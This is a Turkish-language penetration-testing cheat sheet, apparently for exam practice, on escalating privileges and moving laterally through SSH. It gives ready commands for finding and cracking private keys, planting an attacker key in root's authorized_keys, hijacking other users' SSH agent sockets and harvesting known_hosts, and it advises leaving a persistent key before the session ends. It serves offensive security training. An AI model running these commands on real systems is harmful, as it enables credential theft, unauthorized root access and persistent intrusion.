FOOTHOLD Metodoloji Cheat-sheet
PrivEsc ✓ EXAM-SAFE orta :22

SSH Anahtarları ile Privilege Escalation (okunabilir private key, writable authorized_keys, agent hijack, known_hosts)

SSH tabanlı privesc/lateral vektörleri: dünyaya okunabilir private key'lerin kırılması/kullanılması, yazılabilir authorized_keys'e kendi key'ini ekleme, ele geçirilen SSH agent socket'inin hijack edilmesi ve known_hosts harvesting ile sonraki hedeflerin keşfi. SSH config'lerden gömülü key ve IdentityFile yollarının toplanması.

Bilgi: ÖN KOŞULLAR
  • Hedefte düşük yetkili shell
  • Kali'de SSH client
  • Bazı vektörler için root/agent socket sahibinin yetkisi
┌──

Komutlar

find ✓ EXAM-SAFE user
find / -name 'id_rsa' -o -name 'id_ed25519' -o -name '*.pem' -o -name 'id_ecdsa' 2>/dev/null
Tüm sistemde private key avı. Başkasının (özellikle root'un) okunabilir key'i = direkt giriş. HackTricks — Linux Privilege Escalation (SSH keys)
shell ✓ EXAM-SAFE user
find / -name 'authorized_keys' 2>/dev/null -exec ls -la {} \;
authorized_keys dosyalarını ve izinlerini bulur. Başka kullanıcının (örn. root) authorized_keys'i sana yazılabiliyorsa kendi public key'ini ekleyip o kullanıcı olarak giriş yaparsın. HackTricks — Linux Privilege Escalation (writable authorized_keys)
ssh-keygen ✓ EXAM-SAFE
ssh-keygen -t ed25519 -f ./pwn -N ''
Kali'de saldırgan key çifti üret (parolasız). Public kısmı writable authorized_keys'e enjekte edilecek. HackTricks — Linux Privilege Escalation (SSH keys)
shell ✓ EXAM-SAFE user
echo 'ssh-ed25519 AAAA...attacker pwn' >> /root/.ssh/authorized_keys
Writable bir root/kullanıcı authorized_keys'ine kendi public key'ini ekle, ardından `ssh -i pwn root@{{RHOST}}` ile gir. HackTricks — Linux Privilege Escalation (writable authorized_keys)
ssh ✓ EXAM-SAFE
chmod 600 ./found_key && ssh -i ./found_key {{USER}}@{{RHOST}}
Bulunan private key'i Kali'ye al, izinlerini 600 yap (yoksa SSH reddeder) ve giriş yap. Doğru kullanıcı adı için key'in yanındaki path/sahip ipucu olur. HackTricks — Linux Privilege Escalation (SSH keys)
ssh2john ✓ EXAM-SAFE
ssh2john ./found_key > key.hash && john --wordlist={{WORDLIST}} key.hash
Private key parola korumalıysa passphrase'i offline kır. Kırılan parola sıklıkla başka servislerde de reuse edilir. HackTricks — Cracking SSH keys (ssh2john)
shell ✓ EXAM-SAFE user
ls -l /tmp/ssh-*/agent.* 2>/dev/null; env | grep SSH_AUTH_SOCK
Çalışan bir SSH agent socket'i (forward edilmiş veya başka kullanıcının) tespiti. Erişebildiğin socket = o kullanıcının yüklü key'leriyle giriş. HackTricks — SSH agent hijacking
ssh-add ✓ EXAM-SAFE user
SSH_AUTH_SOCK=/tmp/ssh-XXXX/agent.1234 ssh-add -l
Hijack edilen agent socket'ine bağlanıp yüklü identity'leri listele. Erişim varsa o key'lerle `ssh` yaparak agent forwarding'i kötüye kullanırsın. HackTricks — SSH agent hijacking
ssh ✓ EXAM-SAFE user
SSH_AUTH_SOCK=/tmp/ssh-XXXX/agent.1234 ssh {{USER}}@{{RHOST}}
Hijack edilen agent'ı kullanarak (private key dosyasına ihtiyaç olmadan) hedefe/başka makineye giriş — admin'in forward ettiği agent üzerinden lateral hareket. HackTricks — SSH agent hijacking
shell ✓ EXAM-SAFE user
cat ~/.ssh/known_hosts /home/*/.ssh/known_hosts 2>/dev/null; cat ~/.ssh/config /home/*/.ssh/config 2>/dev/null
known_hosts ve ssh config harvesting — bu kullanıcının SSH ile bağlandığı diğer host'ları (lateral hedefler), Host alias'larını ve IdentityFile yollarını ortaya çıkarır. HackTricks — Harvesting known_hosts / ssh config
shell ✓ EXAM-SAFE user
grep -rIE 'BEGIN (OPENSSH|RSA|EC|DSA) PRIVATE KEY' / 2>/dev/null | head
Standart dosya adlarında olmayan, başka konumlara saçılmış private key'leri içerik imzasına göre bulur (backup, script gömülü, .config). PayloadsAllTheThings — Linux Privilege Escalation (SSH keys)

Genel Bakış

SSH key’leri hem privesc (root’un okunabilir/yazılabilir key materyali) hem lateral movement (başka host’lara giriş) için en sık görülen vektörlerden. Dört ana yol var: okunabilir private key, writable authorized_keys, ssh-agent hijack, known_hosts/config harvesting.

1. Okunabilir Private Key

Yanlış izinli bir id_rsa/id_ed25519/*.pem dosyası başka bir kullanıcıya (özellikle root’a) aitse ve sen okuyabiliyorsan, key’i Kali’ye al, chmod 600 yap (SSH gevşek izinli key’i reddeder) ve ssh -i ile gir. Key parola korumalıysa ssh2john + john ile passphrase’i offline kır — kırılan parola genelde reuse edilir. Standart isimlerde değilse içerik imzasıyla (BEGIN ... PRIVATE KEY) tüm FS’i tara.

2. Writable authorized_keys

Bir kullanıcının ~/.ssh/authorized_keys dosyası sana yazılabiliyorsa (yanlış izin, grup yazma, ya da home dizini world-writable), Kali’de yeni bir key çifti üret ve public kısmını o dosyaya ekle. Ardından private key ile o kullanıcı olarak giriş yap. Root’un authorized_keys’i yazılabiliyorsa direkt root. Dikkat: SSH StrictModes on (varsayılan) iken home/.ssh izinleri çok gevşekse key’i reddedebilir — bu durumda izinleri düzeltebiliyorsan düzelt.

3. ssh-agent Hijacking

Bir admin agent forwarding (ssh -A) ile bağlandıysa, /tmp/ssh-*/agent.* altında bir agent socket’i kalır. SSH_AUTH_SOCK’u o socket’e set edip ssh-add -l ile yüklü identity’leri görebilir, private key dosyasına hiç dokunmadan o key’lerle ssh yapabilirsin. Socket’in sahibi sensen (veya root’sun) bu işler; başka kullanıcının socket’ine erişim için genelde o kullanıcı ya da root olman gerekir — yani bu çoğu zaman lateral/pivot aracı.

4. known_hosts & config Harvesting

~/.ssh/known_hosts bu kullanıcının daha önce bağlandığı host’ları (yeni hedefler), ~/.ssh/config ise Host alias’larını ve IdentityFile yollarını verir. Modern OpenSSH known_hosts’u hash’ler (HashKnownHosts yes); hash’li girdileri ssh-keygen -F host ile test edebilir ya da bilinen IP’lerle brute-force eşleştirebilirsin. config’teki IdentityFile, hangi key’in nereye gittiğini söyleyerek pivot zincirini netleştirir.

Gotcha’lar

  • Private key’i Kali’ye taşırken kopyala-yapıştır satır sonlarını bozabilir — scp/base64 ile transfer et (bkz. lnx-file-transfer) ve chmod 600’ü unutma.
  • Doğru kullanıcı adını bilmiyorsan: key’in bulunduğu home dizini sahibi genelde kullanıcı adıdır; authorized_keys içindeki yorum (user@host) da ipucu verir.
  • agent hijack iz bırakır ve oturum süreklidir; agent’ı kapatırsan erişimi kaybedersin — önce kalıcı bir authorized_keys girişi bırak.
  • SSH login PasswordAuthentication kapalı olsa bile key-based vektörler çalışır; sınavda servis 22 açıksa bu yolları daima dene.
┌──

Kaynaklar

0/15 set